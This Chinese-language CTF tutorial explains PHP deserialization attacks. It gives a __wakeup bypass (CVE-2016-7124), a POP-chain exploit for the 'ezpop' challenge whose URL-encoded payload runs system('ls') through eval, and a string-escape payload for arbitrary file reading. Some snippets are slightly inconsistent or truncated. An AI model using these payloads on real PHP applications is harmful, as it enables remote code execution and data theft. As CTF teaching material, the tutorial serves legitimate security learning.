CTF反序列化入門
一、序列化及其反序列化
序列化是將對象狀態轉換為可保持或可傳輸的格式的過程。與序列化相對的是反序列化,它將流轉換為對象。這兩個過程結合起來,可以輕松地存儲和傳輸數據。
就是將對象的狀態信息寫成一串字符,以便傳輸和保存。
o: 對象
a: 數組
s: 字符串
i: 整型
序列化函數:serialize()
反序列化函數: unserialize()
o:4:"info":2:{s:4:"name";i:2:"19";}
demo:
<?phpclass test{ public $name = "f1r3K0"; public $age = "18";}$class = new test();$class_ser = serialize($class);print_r($class_ser);
O:4:"test":2:{s:4:"name";s:6:"f1r3K0";s:3:"age";s:2:"18";}
其中$class 對test這個類進行實例化。
二、CTF反序列化之魔術方法
常見漏洞(CVE-2016-7124)
此漏洞發生于__wakeup這個事件型魔術方法。
只要對象的屬性(變量)數大于實際的個數時,__wakeup就可以被被繞過。
如:O:4:"test":2:{s:4:"name";s:6:"f1r3K0";s:3:"age";s:2:"18";}
改為:O:4:"test":3:{s:4:"name";s:6:"f1r3K0";s:3:"age";s:2:"18";}
__wakeup就不會被執行,產生繞過效果。
<?phpclass xctf{ public $flag = '111'; public function __wakeup(){ exit("bad request"); } $text = new xctf(); echo(serialize($text));?>
POP鏈
POP鏈的形成是由于在序列化和反序列化的過程中,事件型的魔術方法在特定的情況下被觸發,達到跳轉到含有漏洞的類中的目的。
這里上一道例題
ezpop
題目給了php源碼。
<?php class crow{ public $v1; public $v2; function eval() { echo new $this->v1($this->v2); } public function __invoke(){ $this->v1->world(); }} class fin{ public $f1; public function __destruct(){ echo $this->f1 . '114514'; } public function run(){ ($this->f1)(); } public function __call($a, $b){ echo $this->f1->get_flag(); } } class what{ public $a; public function __toString(){ $this->a->run(); return 'hello'; }}class mix{ public $m1; public function run(){ ($this->m1)(); } public function get_flag(){ eval('#' . $this->m1); } } if (isset($_POST['cmd'])) { unserialize($_POST['cmd']);} else { highlight_file(__FILE__);}
可以看到有多個魔術方法,
__invoke() 當嘗試以調用函數的方式調用一個對象時(把對象當函數用),
__destruct() 會在到某個對象的所有引用都被刪除或者當對象被顯式銷毀時執行。(最后的時候)
__call() 在對象中調用一個不可訪問方法時,會被調用。
__toString() 方法用于一個類被當成字符串時應怎樣回應。
通過魔術方法在特定情況下的自動調用來控制更多類里的函數,本題的最終目的是調用到get_flag()函數。
pop鏈:fin->what->fin->crow->fin->mix
$a=new fin();
$a->f1=new what();
$a->f1->a=new fin();
$a->f1->a->f1=new crow();
$a->f1->a->f1->v1=new fin();
$a->f1->a->f1->v1->f1=new mix();
$a->f1->a->f1->v1->f1->m1="\n system('ls');";
echo urlencode(serialize($a));
payload:
O%3A3%3A%22fin%22%3A1%3A%7Bs%3A2%3A%22f1%22%3BO%3A4%3A%22what%22%3A1%3A%7Bs%3A1%3A%22a%22%3BO%3A3%3A%22fin%22%3A1%3A%7Bs%3A2%3A%22f1%22%3BO%3A4%3A%22crow%22%3A2%3A%7Bs%3A2%3A%22v1%22%3BO%3A3%3A%22fin%22%3A1%3A%7Bs%3A2%3A%22f1%22%3BO%3A3%3A%22mix%22%3A1%3A%7Bs%3A2%3A%22m1%22%3Bs%3A17%3A%22%0A+system%28%27ls+%2F%27%29%3B%22%3B%7D%7Ds%3A2%3A%22v2%22%3BN%3B%7D%7D%7D%7
最后用POST的方式傳給cmd實現RCE。
萌新避坑:
【1】在傳遞payload時使用urlencode可以避免很多問題。
【2】在用hackbar傳入url編碼時,可能會將%0A(linux的換行符編碼)自動轉化為%0D%0A(window的換行符編碼)所以在此慎用。
三、CTF反序列化之字符串逃逸
從一道例題開始
[安洵杯 2019]easy_serialize_php
代碼審計:
<?php $function = @$_GET['f']; function filter($img){ //過濾函數 $filter_arr = array('php','flag','php5','php4','fl1g'); //過濾名單 $filter = '/'.implode('|',$filter_arr).'/i'; return preg_replace($filter,'',$img); //以空格代替} if($_SESSION){ unset($_SESSION);} $_SESSION["user"] = 'guest';$_SESSION['function'] = $function; extract($_POST); //extract函數:將變量從數組中導入當前的符號表,這里是把post里的值取出來變為PHP變量,比如name=user,則為$name=user,最重要的是它會再變量沖突時覆蓋前面的變量。 if(!$function){ echo '<a href="index.php?f=highlight_file">source_code</a>';} if(!$_GET['img_path']){ $_SESSION['img'] = base64_encode('guest_img.png');}else{ $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));} $serialize_info = filter(serialize($_SESSION)); //產生字符串逃逸 if($function == 'highlight_file'){ highlight_file('index.php');}else if($function == 'phpinfo'){ eval('phpinfo();'); //maybe you can find something in here!}else if($function == 'show_image'){ $userinfo = unserialize($serialize_info); echo file_get_contents(base64_decode($userinfo['img']));}
通過反序列化的字符串逃逸進行任意文件讀取,$_SESSION["user"]
和$_SESSION['function']是可控的,但是用于讀取文件的
$_SESSION['img']卻是不能直接控制的,所以要通過逃逸在function中構造出img的那一部分序列化,user則用來控制逃逸的字符串的數量。
具體思路:
通過user控制一個字符串的數量,目標是將function自帶的那部分序列化變成user的值,使之失去影響,然后在 function中構造我們想要的function序列化以及img的序列化,使自帶的img序列化失效。
總結公式:13+函數名位數+函數字符長度 ";s:函數名位數:"函數字符長度";s:??:"a"
payload:
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:8:"function";s:5:"abcde";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";
形成的序列化:
a:3:{s:4:"user";s:24:"【";s:8:"function";s:1:"a"】;s:8:"function";s:5:"abcde";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
【】是user的值。